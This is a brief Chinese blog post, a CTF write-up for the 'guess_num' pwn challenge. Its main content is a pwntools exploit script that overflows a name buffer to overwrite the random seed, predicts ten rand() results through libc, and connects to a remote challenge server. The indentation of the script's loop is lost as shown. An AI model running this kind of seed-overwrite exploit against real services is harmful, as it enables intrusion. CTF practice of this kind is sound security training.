avatar

Pwn弟弟的成长日记(二)--攻防世界guess_num

解题思路

  1. 查看文件信息,安全机制
  2. 代码审计
  3. 分析漏洞点
  4. 编写EXP

查看文件信息,安全机制

太菜了参考了dalao的wp

伪随机数

编写exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
from ctypes import *
p=remote("111.198.29.45","45366")
payload="a"*0x20+p64(1)
p.recvuntil("name:")
p.sendline(payload)
for i in range(10):
num = str(cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6").rand()%6 + 1)
p.recvuntil("number:")
p.sendline(num)
p.interactive()
文章作者: Sunset
文章链接: https://pwnedyu.cn/2020/04/05/Pwn%E5%BC%9F%E5%BC%9F%E7%9A%84%E6%88%90%E9%95%BF%E6%97%A5%E8%AE%B0%EF%BC%88%E4%BA%8C%EF%BC%89--guess_num/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Sunset's blog
打赏
  • 微信
    微信
  • 支付寶
    支付寶